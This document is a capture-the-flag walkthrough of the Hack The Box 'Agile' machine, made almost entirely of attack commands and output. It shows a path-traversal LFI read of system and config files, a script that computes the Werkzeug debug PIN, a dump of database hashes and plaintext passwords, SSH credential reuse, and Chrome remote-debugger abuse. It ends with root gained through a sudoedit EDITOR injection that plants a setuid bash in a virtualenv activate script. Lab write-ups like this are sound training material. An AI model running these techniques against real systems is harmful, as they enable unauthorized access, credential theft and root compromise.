Agile
Recon
HTTP (80)

During registration I used username as password and app crashed... But looks like Flask Debug is on.

Once we are logged in we can add credentials and export them

But you need to click Save Icon to actually save the record, otherwise it's gone and Export will complain.
After that it's making request to download, which could be vulnerable to LFI

LFI
LFI confirmed

└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../proc/self/environ' -so- | tr '\0' '\n'
LANG=C.UTF-8
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
HOME=/var/www
LOGNAME=www-data
USER=www-data
INVOCATION_ID=46ba1d21c2f54caba65e2d31c560afda
JOURNAL_STREAM=8:32960
SYSTEMD_EXEC_PID=1072
CONFIG_PATH=/app/config_prod.json
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../proc/self/cmdline' -so- | tr '\0' ' '
/app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5000 --threads=10 --timeout 600 wsgi:app
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../app/config_prod.json' -so-
{"SQL_URI": "mysql+pymysql://superpassuser:dSA6l7q*yIVs$39Ml6ywvgK@localhost/superpass"}
When file is not found app crashes and debug mode shows full path for application
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../app/app/superpass/app.py' -so-
import json
import os
import sys
import flask
import jinja_partials
from flask_login import LoginManager
sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))
from superpass.infrastructure.view_modifiers import response
from superpass.data import db_session
app = flask.Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
def register_blueprints():
from superpass.views import home_views
from superpass.views import vault_views
from superpass.views import account_views
app.register_blueprint(home_views.blueprint)
app.register_blueprint(vault_views.blueprint)
app.register_blueprint(account_views.blueprint)
def setup_db():
db_session.global_init(app.config['SQL_URI'])
def configure_login_manager():
login_manager = LoginManager()
login_manager.login_view = 'account.login_get'
login_manager.init_app(app)
from superpass.data.user import User
@login_manager.user_loader
def load_user(user_id):
from superpass.services.user_service import get_user_by_id
return get_user_by_id(user_id)
def configure_template_options():
jinja_partials.register_extensions(app)
helpers = {
'len': len,
'str': str,
'type': type,
}
app.jinja_env.globals.update(**helpers)
def load_config():
config_path = os.getenv("CONFIG_PATH")
with open(config_path, 'r') as f:
for k, v in json.load(f).items():
app.config[k] = v
def configure():
load_config()
register_blueprints()
configure_login_manager()
setup_db()
configure_template_options()
def enable_debug():
from werkzeug.debug import DebuggedApplication
app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
app.debug = True
def main():
enable_debug()
configure()
app.run(debug=True)
def dev():
configure()
app.run(port=5555)
if __name__ == '__main__':
main()
else:
configure()
Nothing we can further exploit so let's move on to Flask Debug and leak Pin
There's no /console
because in app.wsgi_app = DebuggedApplication(app.wsgi_app, True)
evalex=True
is not specified.
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/werkzeug
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../sys/class/net/eth0/address' -so- | python -c 'print(int(input().replace(":",""),16))'
345049967836
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../etc/machine-id' -so-
ed5b159560f54721827644bc9b220d00
└─$ curl -H "$(cat cookies)" 'http://superpass.htb/download?fn=../proc/self/cgroup' -so-
0::/system.slice/superpass.service
import hashlib
from itertools import chain
probably_public_bits = [
'www-data', # username
'flask.app', # modname
'wsgi_app', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/app/venv/lib/python3.10/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'345049967836', # str(uuid.getnode()), /sys/class/net/ens33/address
'ed5b159560f54721827644bc9b220d00superpass.service' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
└─$ py pin.py
873-798-537

(remote) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass -e 'SHOW DATABASES;'
+--------------------+
| Database |
+--------------------+
| information_schema |
| performance_schema |
| superpass |
+--------------------+
(remote) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass -e 'SHOW TABLES;'
+---------------------+
| Tables_in_superpass |
+---------------------+
| passwords |
| users |
+---------------------+
(remote) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass -e 'SELECT * FROM users;'^C
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
| id | username | hashed_password |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
| 1 | 0xdf | $6$rounds=200000$FRtvqJFfrU7DSyT7$8eGzz8Yk7vTVKudEiFBCL1T7O4bXl0.yJlzN0jp.q0choSIBfMqvxVIjdjzStZUYg6mSRB2Vep0qELyyr0fqF. |
| 2 | corum | $6$rounds=200000$yRvGjY1MIzQelmMX$9273p66QtJQb9afrbAzugxVFaBhb9lyhp62cirpxJEOfmIlCy/LILzFxsyWj/mZwubzWylr3iaQ13e4zmfFfB1 |
| 9 | test02 | $6$rounds=200000$bPlQc5Y8w1Uua13Y$Xw5/tFq6qJJISYW.6SsJT2KxLRCg4fQM9KCLMZI73l4FJ/kBf/kjMQqc1e1SN4maV/mBM9bYCRRUGEfVAQAUI. |
+----+----------+--------------------------------------------------------------------------------------------------------------------------+
(remote) www-data@agile:/app$ mysql -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK' superpass -e 'SELECT * FROM passwords;'
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| id | created_date | last_updated_data | url | username | password | user_id |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
| 3 | 2022-12-02 21:21:32 | 2022-12-02 21:21:32 | hackthebox.com | 0xdf | 762b430d32eea2f12970 | 1 |
| 4 | 2022-12-02 21:22:55 | 2022-12-02 21:22:55 | mgoblog.com | 0xdf | 5b133f7a6a1c180646cb | 1 |
| 6 | 2022-12-02 21:24:44 | 2022-12-02 21:24:44 | mgoblog | corum | 47ed1e73c955de230a1d | 2 |
| 7 | 2022-12-02 21:25:15 | 2022-12-02 21:25:15 | ticketmaster | corum | 9799588839ed0f98c211 | 2 |
| 8 | 2022-12-02 21:25:27 | 2022-12-02 21:25:27 | agile | corum | 5db7caa1d13cc37c9fc2 | 2 |
+----+---------------------+---------------------+----------------+----------+----------------------+---------+
SSH (22)
The passwords database contains passwords in plaintext
└─$ sshpass -p '5db7caa1d13cc37c9fc2' ssh corum@superpass.htb
corum@agile:~$ id
uid=1000(corum) gid=1000(corum) groups=1000(corum)
User.txt
corum@agile:~$ cat user.txt
259a0b27b4e46e42549824e82d7fbd08
Privilege Escalation
corum@agile:/etc/nginx/sites-enabled$ cat agile.htb.nginx
server {
listen 80;
server_name agile.htb;
root /var/www/html;
index index.html index.htm index.nginx-debian.html;
location / {
try_files $uri $uri/ =404;
}
}
corum@agile:/etc/nginx/sites-enabled$ cat redirect.nginx
server {
listen 80 default_server;
listen 127.0.0.1:80 default_server;
server_name _;
return 301 http://superpass.htb;
}
corum@agile:/etc/nginx/sites-enabled$ cat superpass.nginx
server {
listen 80;
listen 127.0.0.1:80;
server_name superpass.htb;
proxy_read_timeout 300;
proxy_connect_timeout 300;
proxy_send_timeout 300;
location /static {
alias /app/app/superpass/static;
expires 365d;
}
location /console {
rewrite ^/console$ /console0xdf last;
}
location / {
#include uwsgi_params;
proxy_pass http://127.0.0.1:5000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Protocol $scheme;
}
}
corum@agile:/etc/nginx/sites-enabled$ cat superpass-test.nginx
server {
listen 127.0.0.1:80;
server_name test.superpass.htb;
location /static {
alias /app/app-testing/superpass/static;
expires 365d;
}
location / {
include uwsgi_params;
proxy_pass http://127.0.0.1:5555;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-Protocol $scheme;
}
}
There's second application running on 5555 as runner, but it's test version of superpass.
corum@agile:/etc/nginx/sites-enabled$ ps aux | grep 5555
runner 1071 0.0 0.6 31000 24164 ? Ss 09:09 0:02 /app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5555 wsgi-dev:app
runner 1074 0.0 1.5 78700 61116 ? S 09:09 0:07 /app/venv/bin/python3 /app/venv/bin/gunicorn --bind 127.0.0.1:5555 wsgi-dev:app
corum 10672 0.0 0.0 4020 2124 pts/1 S+ 14:22 0:00 grep --color=auto 5555
Port forward
└─$ sshpass -p '5db7caa1d13cc37c9fc2' ssh corum@superpass.htb -L 5555:0:5555
There's interactive test running by Selenium using Google Chrome
corum@agile:/app/app-testing/tests/functional$ ls -alh
total 20K
drwxr-xr-x 3 runner runner 4.0K Feb 7 2023 .
drwxr-xr-x 3 runner runner 4.0K Feb 6 2023 ..
drwxrwxr-x 2 runner runner 4.0K Dec 12 14:28 __pycache__
-rw-r----- 1 dev_admin runner 34 Dec 12 14:27 creds.txt
-rw-r--r-- 1 runner runner 2.7K Dec 12 14:27 test_site_interactively.py
corum@agile:/app/app-testing/tests/functional$ cat creds.txt
cat: creds.txt: Permission denied
corum@agile:/app/app-testing/tests/functional$ cat test_site_interactively.py
corum@agile:/app/app-testing/tests/functional$ ps aux | grep debugging
runner 10803 0.1 2.6 34023392 104012 ? Sl 14:28 0:00 /usr/bin/google-chrome --allow-pre-commit-input --crash-dumps-dir=/tmp --disable-background-networking --disable-client-side-phishing-detection --disable-default-apps --disable-gpu --disable-hang-monitor --disable-popup-blocking --disable-prompt-on-repost --disable-sync --enable-automation --enable-blink-features=ShadowDOMV0 --enable-logging --headless --log-level=0 --no-first-run --no-service-autorun --password-store=basic --remote-debugging-port=41829 --test-type=webdriver --use-mock-keychain --user-data-dir=/tmp/.com.google.Chrome.gOaz2K --window-size=1420,1080 data:,
runner 10868 0.5 4.0 1184772612 161628 ? Sl 14:28 0:01 /opt/google/chrome/chrome --type=renderer --headless --crashpad-handler-pid=10810 --lang=en-US --enable-automation --enable-logging --log-level=0 --remote-debugging-port=41829 --test-type=webdriver --allow-pre-commit-input --ozone-platform=headless --disable-gpu-compositing --enable-blink-features=ShadowDOMV0 --lang=en-US --num-raster-threads=1 --renderer-client-id=5 --time-ticks-at-unix-epoch=-1733994574545999 --launch-time-ticks=19108362766 --shared-files=v8_context_snapshot_data:100 --field-trial-handle=0,i,13858580812853374367,2597758252139869236,131072 --disable-features=PaintHolding
└─$ sshpass -p '5db7caa1d13cc37c9fc2' ssh corum@superpass.htb -L 5555:0:5555 -L 41829:0:41829
https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/chrome-remote-debugger-pentesting/


agile
edwards
d07867c6267dcb5df0af
dedwards__
7dbfe676b6b564ce5718
SSH (edwards)
└─$ sshpass -p 'd07867c6267dcb5df0af' ssh edwards@superpass.htb
edwards@agile:~$ id
uid=1002(edwards) gid=1002(edwards) groups=1002(edwards)
edwards@agile:~$ sudo -l
Matching Defaults entries for edwards on agile:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User edwards may run the following commands on agile:
(dev_admin : dev_admin) sudoedit /app/config_test.json
(dev_admin : dev_admin) sudoedit /app/app-testing/tests/functional/creds.txt
Privilege Escalation
edwards@agile:~$ sudo -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt
edwards:1d7ffjwrx#$d6qn!9nndqgde4
edwards@agile:~$ sudo -u dev_admin sudoedit /app/config_test.json
{
"SQL_URI": "mysql+pymysql://superpasstester:VUO8A2c2#3FnLq3*a9DX1U@localhost/superpasstest"
}
edwards@agile:~$ sudo --version
Sudo version 1.9.9
Sudoers policy plugin version 1.9.9
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.9
Sudoers audit plugin version 1.9.9
sudo 1.8.0 to 1.9.12p1 - Privilege Escalation
edwards@agile:/tmp$ nano letmein.sh
edwards@agile:/tmp$ chmod +x letmein.sh
edwards@agile:/tmp$ cat letmein.sh
#!/bin/bash
install -m4777 /bin/bash /tmp/rootbash
edwards@agile:/tmp$ sudo EDITOR="vim -- /tmp/letmein.sh" -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt
Doesn't work. Let's find what dev_admin
can access
edwards@agile:/tmp$ find / \( -user dev_admin -o -group dev_admin \) -ls 2>/dev/null
78168 4 drwxr-x--- 2 dev_admin dev_admin 4096 Feb 8 2023 /home/dev_admin
149087 4 -rw-r----- 1 dev_admin runner 34 Dec 12 14:54 /app/app-testing/tests/functional/creds.txt
149068 4 -r--r----- 1 dev_admin runner 99 Jan 25 2023 /app/config_test.json
68899 4 drwxrwxr-x 5 root dev_admin 4096 Feb 8 2023 /app/venv
68905 4 drwxrwxr-x 2 root dev_admin 4096 Dec 12 14:54 /app/venv/bin
71565 4 -rw-rw-r-- 1 root dev_admin 1976 Dec 12 14:54 /app/venv/bin/activate
69955 12 -rw-r--r-- 1 root dev_admin 9033 Dec 12 14:54 /app/venv/bin/Activate.ps1
69956 4 -rw-r--r-- 1 root dev_admin 2044 Dec 12 14:54 /app/venv/bin/activate.fish
69957 4 -rw-r--r-- 1 root dev_admin 902 Dec 12 14:54 /app/venv/bin/activate.csh
149061 4 -r--r----- 1 dev_admin www-data 88 Jan 25 2023 /app/config_prod.json
Let's edit the activate
script
edwards@agile:/tmp$ sudo EDITOR="vim -- /app/venv/bin/activate" -u dev_admin sudoedit /app/app-testing/tests/functional/creds.txt
edwards@agile:/tmp$ head -1 /app/venv/bin/activate
install -m4777 /bin/bash /tmp/rootbash
...wait
edwards@agile:/tmp$ /tmp/rootbash -p
edwards@agile:/tmp# id
uid=1002(edwards) gid=1002(edwards) euid=0(root) groups=1002(edwards)
edwards@agile:/tmp# cat /root/root.txt
0d58984644eac9cd62822c77d9378b51
Last updated